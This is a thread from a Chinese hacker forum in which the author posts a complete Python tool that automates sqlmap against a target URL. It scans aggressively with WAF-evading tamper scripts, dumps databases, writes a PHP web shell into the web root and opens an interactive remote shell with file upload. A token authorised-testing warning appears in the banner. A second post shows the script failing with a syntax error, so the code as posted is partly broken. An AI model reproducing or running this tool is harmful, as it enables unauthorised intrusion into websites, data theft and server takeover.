w

392 2
Zephyr 2025-12-7 11:43:49 | 显示全部楼层 |阅读模式
本帖最后由 Zephyr 于 2025-12-7 11:44 编辑

#!/usr/bin/env python3
# 帝兵-筷子 | SQLMap智能拿Shell平台
# 作者: 跨紫大帝
# 核心:智能SQL注入 -> 自动化Shell获取

import os
import sys
import time
import json
import shlex
import signal
import sqlite3
import requests
import threading
import subprocess
from datetime import datetime
from urllib.parse import urlparse, quote, urlencode
from concurrent.futures import ThreadPoolExecutor, as_completed

# ========== 颜色配置 ==========
class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    PURPLE = '\033[95m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    END = '\033[0m'

# ========== SQLMap智能管理器 ==========
class SQLMapController:
    """SQLMap进程管理和结果解析"""
   
    def __init__(self):
        self.session_file = "emperor_session.sqlite"
        self.results_db = "injection_results.db"
        self.current_process = None
        self.init_database()
        
    def init_database(self):
        """初始化结果数据库"""
        conn = sqlite3.connect(self.results_db)
        cursor = conn.cursor()
        cursor.execute('''
            CREATE TABLE IF NOT EXISTS injection_results (
                id INTEGER PRIMARY KEY,
                target TEXT,
                technique TEXT,
                parameter TEXT,
                dbms TEXT,
                os_shell TEXT,
                timestamp DATETIME
            )
        ''')
        cursor.execute('''
            CREATE TABLE IF NOT EXISTS shells (
                id INTEGER PRIMARY KEY,
                target TEXT,
                shell_url TEXT,
                shell_type TEXT,
                working INTEGER DEFAULT 1,
                timestamp DATETIME
            )
        ''')
        conn.commit()
        conn.close()
   
    def save_result(self, target, technique, parameter, dbms, os_shell=None):
        """保存注入结果"""
        conn = sqlite3.connect(self.results_db)
        cursor = conn.cursor()
        cursor.execute('''
            INSERT INTO injection_results (target, technique, parameter, dbms, os_shell, timestamp)
            VALUES (?, ?, ?, ?, ?, ?)
        ''', (target, technique, parameter, dbms, os_shell, datetime.now()))
        conn.commit()
        conn.close()
   
    def save_shell(self, target, shell_url, shell_type):
        """保存获取的Shell"""
        conn = sqlite3.connect(self.results_db)
        cursor = conn.cursor()
        cursor.execute('''
            INSERT INTO shells (target, shell_url, shell_type, timestamp)
            VALUES (?, ?, ?, ?)
        ''', (target, shell_url, shell_type, datetime.now()))
        conn.commit()
        conn.close()
        print(f"{Colors.GREEN}[+] Shell已保存到数据库: {shell_url}{Colors.END}")
   
    def get_previous_shells(self, target):
        """获取该目标的历史Shell"""
        conn = sqlite3.connect(self.results_db)
        cursor = conn.cursor()
        cursor.execute('SELECT shell_url, shell_type FROM shells WHERE target = ? AND working = 1', (target,))
        shells = cursor.fetchall()
        conn.close()
        return shells

# ========== 智能SQL注入检测器 ==========
class IntelligentInjector:
    """智能注入点发现和验证"""
   
    def __init__(self, target_url):
        self.target = target_url
        self.injection_points = []
        self.vulnerable_params = []
        
    def discover_injection_points(self):
        """智能发现可能的注入点"""
        print(f"{Colors.CYAN} 扫描目标页面寻找注入点...{Colors.END}")
        
        # 获取页面内容
        try:
            response = requests.get(self.target, timeout=10)
            soup = None
            try:
                from bs4 import BeautifulSoup
                soup = BeautifulSoup(response.text, 'html.parser')
            except:
                pass
            
            # 分析URL参数
            parsed = urlparse(self.target)
            if parsed.query:
                params = parsed.query.split('&')
                for param in params:
                    if '=' in param:
                        key = param.split('=')[0]
                        self.injection_points.append({
                            'type': 'GET',
                            'parameter': key,
                            'url': self.target
                        })
            
            # 分析表单
            if soup:
                forms = soup.find_all('form')
                for form in forms:
                    action = form.get('action', '')
                    method = form.get('method', 'get').upper()
                    inputs = form.find_all('input')
                    
                    param_names = []
                    for inp in inputs:
                        name = inp.get('name')
                        if name and name not in ['submit', 'button']:
                            param_names.append(name)
                    
                    if param_names:
                        self.injection_points.append({
                            'type': method,
                            'parameters': param_names,
                            'action': action if action.startswith('http') else self.target.rstrip('/') + '/' + action.lstrip('/')
                        })
            
            print(f"{Colors.GREEN}[+] 发现 {len(self.injection_points)} 个可能注入点{Colors.END}")
            return self.injection_points
            
        except Exception as e:
            print(f"{Colors.RED}[-] 页面分析失败: {e}{Colors.END}")
            return []

# ========== 高级SQLMap执行器 ==========
class AdvancedSQLMapExecutor:
    """高级SQLMap执行和结果处理"""
   
    def __init__(self, controller):
        self.controller = controller
        self.tamper_scripts = [
            'space2comment',
            'between',
            'charencode',
            'randomcase',
            'charunicodeencode',
            'equaltolike',
            'greatest',
            'apostrophemask',
            'halfversionedmorekeywords',
            'space2morehash'
        ]
        
    def build_sqlmap_command(self, target_url, options=None):
        """构建优化的SQLMap命令"""
        base_cmd = [
            'sqlmap',
            '-u', target_url,
            '--batch',
            '--random-agent',
            '--threads=10',
            '--level=3',
            '--risk=3',
            '--tamper=' + ','.join(self.tamper_scripts[:3]),
            '--flush-session',
            '--fresh-queries',
            '--forms',  # 自动测试表单
            '--crawl=2',  # 爬取2层深度
            '--cookie',  # 使用cookie
            '--dbs',  # 枚举数据库
            '--current-db',  # 获取当前数据库
            '--tables',  # 枚举表
            '--columns',  # 枚举列
            '--dump',  # 导出数据
            '--os-shell'  # 尝试获取OS Shell
        ]
        
        if options:
            base_cmd.extend(options)
            
        return base_cmd
   
    def execute_sqlmap_aggressive(self, target_url):
        """执行激进模式SQLMap扫描"""
        print(f"{Colors.YELLOW}[!] 启动激进模式SQLMap扫描...{Colors.END}")
        
        # 阶段1: 快速检测
        print(f"{Colors.CYAN} 阶段1: 快速漏洞检测{Colors.END}")
        fast_cmd = self.build_sqlmap_command(target_url, ['--batch', '--smart'])
        
        try:
            print(f"{Colors.BLUE}[>] 执行命令: {' '.join(fast_cmd)}{Colors.END}")
            process = subprocess.Popen(
                fast_cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                text=True,
                bufsize=1,
                universal_newlines=True
            )
            
            # 实时输出处理
            injection_found = False
            dbms_type = None
            
            for line in iter(process.stdout.readline, ''):
                line = line.strip()
                if not line:
                    continue
                    
                # 关键信息提取
                if 'injection' in line.lower() and 'detected' in line.lower():
                    print(f"{Colors.GREEN}[+] {line}{Colors.END}")
                    injection_found = True
                    
                elif 'back-end DBMS:' in line:
                    dbms_type = line.split('back-end DBMS:')[1].strip()
                    print(f"{Colors.GREEN}[+] 数据库类型: {dbms_type}{Colors.END}")
                    
                elif 'OS-shell' in line and 'available' in line.lower():
                    print(f"{Colors.GREEN}[!!!] OS Shell可用!{Colors.END}")
                    
                elif 'error' in line.lower() or 'failed' in line.lower():
                    print(f"{Colors.RED}[-] {line}{Colors.END}")
                    
                else:
                    # 只显示重要信息
                    if any(keyword in line.lower() for keyword in ['parameter', 'payload', 'technique', 'query']):
                        print(f"{Colors.CYAN} {line}{Colors.END}")
            
            process.wait()
            
            if injection_found and dbms_type:
                # 阶段2: 深度利用
                return self.execute_deep_exploitation(target_url, dbms_type)
            else:
                print(f"{Colors.YELLOW}[!] 未发现注入漏洞,尝试其他方法...{Colors.END}")
                return False
               
        except Exception as e:
            print(f"{Colors.RED}[-] SQLMap执行失败: {e}{Colors.END}")
            return False
   
    def execute_deep_exploitation(self, target_url, dbms_type):
        """深度利用:获取Shell"""
        print(f"{Colors.CYAN} 阶段2: 深度利用 - 获取Shell{Colors.END}")
        
        # 根据数据库类型调整策略
        dbms_specific = {
            'MySQL': ['--os-shell', '--priv-esc', '--file-write=/tmp/shell.php', '--file-dest=/var/www/html/shell.php'],
            'Microsoft SQL Server': ['--os-shell', '--xp-cmdshell'],
            'PostgreSQL': ['--os-shell', '--file-write=/tmp/shell.php'],
            'Oracle': ['--os-shell']
        }
        
        options = dbms_specific.get(dbms_type.split()[0], ['--os-shell'])
        
        # 构建深度利用命令
        deep_cmd = self.build_sqlmap_command(target_url, options)
        deep_cmd.extend(['--batch', '--no-cast'])
        
        print(f"{Colors.BLUE}[>] 执行深度利用命令...{Colors.END}")
        print(f"{Colors.YELLOW}[!] 这可能需要几分钟,请耐心等待...{Colors.END}")
        
        try:
            process = subprocess.Popen(
                deep_cmd,
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                text=True
            )
            
            shell_url = None
            output_lines = []
            
            # 收集输出
            for line in iter(process.stdout.readline, ''):
                output_lines.append(line)
               
                # 查找Shell URL
                if 'http://' in line or 'https://' in line:
                    if 'shell' in line.lower() or 'cmd' in line.lower():
                        parts = line.split()
                        for part in parts:
                            if part.startswith('http'):
                                shell_url = part.strip('"\'')
                                break
               
                # 显示进度
                if 'OS-shell' in line:
                    print(f"{Colors.GREEN}[+] {line.strip()}{Colors.END}")
            
            process.wait()
            
            # 分析结果
            if shell_url:
                print(f"{Colors.GREEN}[!!!] Shell获取成功!{Colors.END}")
                print(f"{Colors.GREEN}[+] Shell地址: {shell_url}{Colors.END}")
               
                # 验证Shell是否可用
                if self.verify_shell(shell_url):
                    return shell_url
            else:
                # 尝试从输出中提取信息
                self.analyze_sqlmap_output(output_lines, target_url)
               
            return False
            
        except Exception as e:
            print(f"{Colors.RED}[-] 深度利用失败: {e}{Colors.END}")
            return False
   
    def verify_shell(self, shell_url):
        """验证Shell可用性"""
        print(f"{Colors.CYAN} 验证Shell可用性...{Colors.END}")
        
        test_commands = [
            ('whoami', 'root|admin|user|www-data'),
            ('id', 'uid='),
            ('pwd', '/'),
            ('ls', 'bin|etc|var|home')
        ]
        
        try:
            for cmd, expected in test_commands:
                test_url = f"{shell_url}?cmd={quote(cmd)}"
                response = requests.get(test_url, timeout=10)
               
                if response.status_code == 200:
                    content = response.text
                    # 检查预期输出
                    if any(exp in content for exp in expected.split('|')):
                        print(f"{Colors.GREEN}[+] 命令 '{cmd}' 执行成功{Colors.END}")
                        return True
                    else:
                        print(f"{Colors.YELLOW}[!] 命令 '{cmd}' 返回异常{Colors.END}")
                else:
                    print(f"{Colors.RED}[-] Shell不可用 (HTTP {response.status_code}){Colors.END}")
                    return False
                    
            return True
            
        except Exception as e:
            print(f"{Colors.RED}[-] Shell验证失败: {e}{Colors.END}")
            return False
   
    def analyze_sqlmap_output(self, output_lines, target_url):
        """分析SQLMap输出寻找有用信息"""
        print(f"{Colors.CYAN} 分析SQLMap输出...{Colors.END}")
        
        useful_info = {
            'tables': [],
            'columns': [],
            'data': [],
            'files': []
        }
        
        for line in output_lines:
            if 'Database:' in line:
                print(f"{Colors.GREEN}[+] {line.strip()}{Colors.END}")
            elif 'Table:' in line:
                useful_info['tables'].append(line.strip())
            elif 'Column:' in line:
                useful_info['columns'].append(line.strip())
            elif 'dumped' in line and 'record' in line:
                print(f"{Colors.GREEN}[+] {line.strip()}{Colors.END}")
        
        # 如果有表信息,尝试进一步利用
        if useful_info['tables']:
            print(f"{Colors.YELLOW}[!] 发现 {len(useful_info['tables'])} 个表,尝试进一步利用...{Colors.END}")
            # 可以在这里添加进一步的利用逻辑

# ========== Shell管理器 ==========
class ShellManager:
    """Shell连接和管理"""
   
    def __init__(self, controller):
        self.controller = controller
        self.active_shells = {}
        
    def interactive_shell(self, shell_url):
        """交互式Shell会话"""
        print(f"{Colors.CYAN} 启动交互式Shell会话...{Colors.END}")
        print(f"{Colors.YELLOW}[!] 输入 'exit' 退出,'help' 查看命令{Colors.END}")
        
        session_id = datetime.now().strftime("%Y%m%d_%H%M%S")
        self.active_shells[session_id] = shell_url
        
        while True:
            try:
                cmd = input(f"{Colors.GREEN}shell@{session_id}$ {Colors.END}").strip()
               
                if cmd.lower() == 'exit':
                    print(f"{Colors.YELLOW} 退出Shell会话{Colors.END}")
                    break
                elif cmd.lower() == 'help':
                    self.show_shell_help()
                    continue
                elif cmd.lower() == 'upload':
                    self.upload_file(shell_url)
                    continue
                elif cmd.lower() == 'download':
                    self.download_file(shell_url)
                    continue
               
                # 执行命令
                if cmd:
                    result = self.execute_command(shell_url, cmd)
                    if result:
                        print(result)
                        
            except KeyboardInterrupt:
                print(f"\n{Colors.YELLOW} 会话中断{Colors.END}")
                break
            except Exception as e:
                print(f"{Colors.RED}[-] 错误: {e}{Colors.END}")
   
    def execute_command(self, shell_url, command):
        """在Shell上执行命令"""
        try:
            encoded_cmd = quote(command)
            url = f"{shell_url}?cmd={encoded_cmd}"
            response = requests.get(url, timeout=30)
            
            if response.status_code == 200:
                return response.text[:5000]  # 限制输出长度
            else:
                return f"{Colors.RED}[-] 命令执行失败 (HTTP {response.status_code}){Colors.END}"
               
        except Exception as e:
            return f"{Colors.RED}[-] 执行错误: {e}{Colors.END}"
   
    def show_shell_help(self):
        """显示Shell帮助"""
        help_text = f"""
{Colors.CYAN}=== Shell命令帮助 ==={Colors.END}
{Colors.GREEN}基本命令:{Colors.END}
  ls, dir          - 列出目录
  pwd              - 当前目录
  whoami           - 当前用户
  id               - 用户ID信息
  uname -a         - 系统信息
  
{Colors.GREEN}文件操作:{Colors.END}
  cat <file>       - 查看文件
  find / -name "*.php" - 查找文件
  grep "password" file - 搜索文本
  
{Colors.GREEN}网络操作:{Colors.END}
  ifconfig, ip a   - 网络配置
  netstat -tulpn   - 网络连接
  wget http://...  - 下载文件
  
{Colors.GREEN}系统信息:{Colors.END}
  ps aux           - 进程列表
  df -h            - 磁盘空间
  cat /etc/passwd  - 用户列表
  
{Colors.GREEN}Shell命令:{Colors.END}
  upload           - 上传文件到目标
  download         - 从目标下载文件
  help             - 显示此帮助
  exit             - 退出Shell
        """
        print(help_text)
   
    def upload_file(self, shell_url):
        """上传文件到目标"""
        print(f"{Colors.CYAN} 文件上传功能{Colors.END}")
        local_file = input(f"{Colors.GREEN}[?] 本地文件路径: {Colors.END}").strip()
        remote_path = input(f"{Colors.GREEN}[?] 远程保存路径: {Colors.END}").strip()
        
        if os.path.exists(local_file):
            try:
                with open(local_file, 'rb') as f:
                    content = f.read()
               
                # 创建上传命令
                encoded_content = quote(content)
                cmd = f"echo '{encoded_content}' | base64 -d > {remote_path}"
               
                result = self.execute_command(shell_url, cmd)
                print(f"{Colors.GREEN}[+] 文件上传结果: {result}{Colors.END}")
               
            except Exception as e:
                print(f"{Colors.RED}[-] 上传失败: {e}{Colors.END}")
        else:
            print(f"{Colors.RED}[-] 文件不存在{Colors.END}")

# ========== 主程序 ==========
class EmperorSQLMapAutoShell:
    """主程序类"""
   
    def __init__(self):
        self.controller = SQLMapController()
        self.executor = AdvancedSQLMapExecutor(self.controller)
        self.shell_manager = ShellManager(self.controller)
        self.target_url = ""
        
    def print_banner(self):
        """打印横幅"""
        os.system('clear')
        banner = f"""
{Colors.PURPLE}{Colors.BOLD}
    ╔══════════════════════════════════════════════════════════╗
    ║             帝兵-筷子 | SQLMap智能拿Shell平台           ║
    ║              EMPEROR WEAPON - SQLMap AUTO SHELL         ║
    ╚══════════════════════════════════════════════════════════╝{Colors.END}
{Colors.CYAN}
    🎯 核心功能:
    ✓ 智能注入点发现
    ✓ 激进模式SQLMap扫描
    ✓ 自动化OS-Shell获取
    ✓ 交互式Shell管理
    ✓ 结果数据库存储
   
    ⚡ 成功率优化技术:
    • 智能Tamper脚本选择
    • 多线程深度扫描
    • 数据库特定利用链
    • 实时结果分析
{Colors.YELLOW}
    ⚠️  警告:仅用于授权渗透测试!
    ⚠️  非法使用将承担法律责任!
{Colors.END}
        """
        print(banner)
   
    def run_automated_attack(self):
        """执行自动化攻击流程"""
        print(f"\n{Colors.GREEN}{'='*70}{Colors.END}")
        print(f"{Colors.CYAN} 开始自动化SQL注入攻击流程{Colors.END}")
        print(f"{Colors.GREEN}{'='*70}{Colors.END}")
        
        start_time = time.time()
        
        # 步骤1: 检查历史Shell
        print(f"\n{Colors.CYAN}[1] 检查历史Shell...{Colors.END}")
        existing_shells = self.controller.get_previous_shells(self.target_url)
        if existing_shells:
            print(f"{Colors.GREEN}[+] 找到 {len(existing_shells)} 个历史Shell{Colors.END}")
            for shell_url, shell_type in existing_shells:
                print(f"    {shell_url} ({shell_type})")
               
            use_existing = input(f"\n{Colors.GREEN}[?] 使用现有Shell? (y/N): {Colors.END}").lower()
            if use_existing == 'y':
                return self.shell_manager.interactive_shell(existing_shells[0][0])
        
        # 步骤2: 发现注入点
        print(f"\n{Colors.CYAN}[2] 智能注入点发现...{Colors.END}")
        injector = IntelligentInjector(self.target_url)
        injection_points = injector.discover_injection_points()
        
        if not injection_points:
            print(f"{Colors.YELLOW}[!] 未发现明显注入点,尝试直接扫描URL{Colors.END}")
            injection_points = [{'type': 'DIRECT', 'url': self.target_url}]
        
        # 步骤3: SQLMap扫描
        print(f"\n{Colors.CYAN}[3] 执行SQLMap激进扫描...{Colors.END}")
        
        # 尝试每个注入点
        shell_obtained = False
        shell_url = None
        
        for idx, point in enumerate(injection_points, 1):
            print(f"\n{Colors.CYAN} 测试注入点 {idx}/{len(injection_points)}...{Colors.END}")
            
            if point['type'] == 'DIRECT':
                test_url = point['url']
            elif point['type'] == 'GET':
                test_url = point['url']
            else:
                continue
            
            print(f"{Colors.BLUE}[>] 目标: {test_url}{Colors.END}")
            
            shell_url = self.executor.execute_sqlmap_aggressive(test_url)
            if shell_url:
                shell_obtained = True
                break
        
        # 步骤4: 结果处理
        elapsed = time.time() - start_time
        
        if shell_obtained and shell_url:
            print(f"\n{Colors.GREEN}{'='*70}{Colors.END}")
            print(f"{Colors.GREEN}[!!!] 攻击成功!获取到Shell{Colors.END}")
            print(f"{Colors.GREEN}[+] Shell地址: {shell_url}{Colors.END}")
            print(f"{Colors.GREEN}[+] 总耗时: {elapsed:.1f}秒{Colors.END}")
            print(f"{Colors.GREEN}{'='*70}{Colors.END}")
            
            # 保存Shell到数据库
            self.controller.save_shell(self.target_url, shell_url, 'SQLMap_OS_Shell')
            
            # 启动交互式Shell
            self.shell_manager.interactive_shell(shell_url)
            
        else:
            print(f"\n{Colors.YELLOW}{'='*70}{Colors.END}")
            print(f"{Colors.YELLOW}[!] 未成功获取Shell{Colors.END}")
            print(f"{Colors.YELLOW} 耗时: {elapsed:.1f}秒{Colors.END}")
            
            # 建议
            print(f"\n{Colors.CYAN}[?] 建议尝试:{Colors.END}")
            print("  1. 手动测试其他参数")
            print("  2. 尝试POST表单注入")
            print("  3. 使用 --data 参数测试POST数据")
            print("  4. 检查WAF并尝试绕过")
            print(f"{Colors.YELLOW}{'='*70}{Colors.END}")
   
    def manual_mode(self):
        """手动模式"""
        print(f"\n{Colors.CYAN} 手动SQLMap模式{Colors.END}")
        print(f"{Colors.YELLOW}[!] 输入自定义SQLMap参数{Colors.END}")
        print(f"{Colors.YELLOW}[!] 输入 'exit' 返回主菜单{Colors.END}")
        
        base_url = self.target_url
        
        while True:
            try:
                user_input = input(f"\n{Colors.GREEN}sqlmap> {Colors.END}").strip()
               
                if user_input.lower() == 'exit':
                    break
                elif not user_input:
                    continue
               
                # 构建命令
                cmd_parts = ['sqlmap', '-u', base_url]
                cmd_parts.extend(user_input.split())
                cmd_parts.extend(['--batch'])
               
                print(f"{Colors.BLUE}[>] 执行: {' '.join(cmd_parts)}{Colors.END}")
               
                # 执行命令
                process = subprocess.Popen(
                    cmd_parts,
                    stdout=subprocess.PIPE,
                    stderr=subprocess.PIPE,
                    text=True
                )
               
                # 实时输出
                for line in iter(process.stdout.readline, ''):
                    print(line, end='')
               
                process.wait()
               
            except KeyboardInterrupt:
                print(f"\n{Colors.YELLOW} 中断命令{Colors.END}")
                break
            except Exception as e:
                print(f"{Colors.RED}[-] 错误: {e}{Colors.END}")
   
    def run(self):
        """主运行函数"""
        self.print_banner()
        
        # 输入目标
        self.target_url = input(f"\n{Colors.GREEN}[?] 输入目标URL: {Colors.END}").strip()
        if not self.target_url:
            print(f"{Colors.RED}[-] 目标URL不能为空{Colors.END}")
            return
        
        if not self.target_url.startswith('http'):
            self.target_url = 'http://' + self.target_url
        
        print(f"\n{Colors.YELLOW} 目标: {self.target_url}{Colors.END}")
        
        # 模式选择
        print(f"\n{Colors.CYAN} 选择攻击模式:{Colors.END}")
        print(f"  1. {Colors.GREEN}全自动模式{Colors.END} (推荐)")
        print(f"  2. {Colors.YELLOW}手动模式{Colors.END} (自定义参数)")
        print(f"  3. {Colors.BLUE}仅检测模式{Colors.END} (不获取Shell)")
        
        choice = input(f"\n{Colors.GREEN}[?] 选择模式 (1-3): {Colors.END}").strip()
        
        if choice == '1':
            self.run_automated_attack()
        elif choice == '2':
            self.manual_mode()
        elif choice == '3':
            print(f"{Colors.YELLOW} 仅检测模式开发中...{Colors.END}")
        else:
            print(f"{Colors.RED}[-] 无效选择{Colors.END}")

# ========== 主入口 ==========
if __name__ == "__main__":
    try:
        # 检查sqlmap是否安装
        check = subprocess.run(['which', 'sqlmap'], capture_output=True)
        if check.returncode != 0:
            print(f"{Colors.RED}[-] SQLMap未安装!请先安装:{Colors.END}")
            print(f"    sudo apt install sqlmap")
            sys.exit(1)
        
        # 运行主程序
        tool = EmperorSQLMapAutoShell()
        tool.run()
        
        print(f"\n{Colors.CYAN}{'='*70}{Colors.END}")
        print(f"{Colors.GREEN}感谢使用帝兵-筷子SQLMap智能拿Shell平台!{Colors.END}")
        print(f"{Colors.CYAN}{'='*70}{Colors.END}")
        
    except KeyboardInterrupt:
        print(f"\n{Colors.YELLOW} 用户中断{Colors.END}")
    except Exception as e:
        print(f"{Colors.RED}[!] 程序错误: {e}{Colors.END}")
        import traceback
        traceback.print_exc()
Zephyr 2025-12-7 11:46:09 | 显示全部楼层
┌──(root㉿kali)-[/home/kali]
└─# python3 csweb2.py
  File "/home/kali/csweb2.py", line 113
    print(f"{Colors.CYAN}
          ^
SyntaxError: unterminated string literal (detected at line 113)
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Zephyr

特级红客

关注
  • 74
    主题
  • 4
    粉丝
  • 79
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行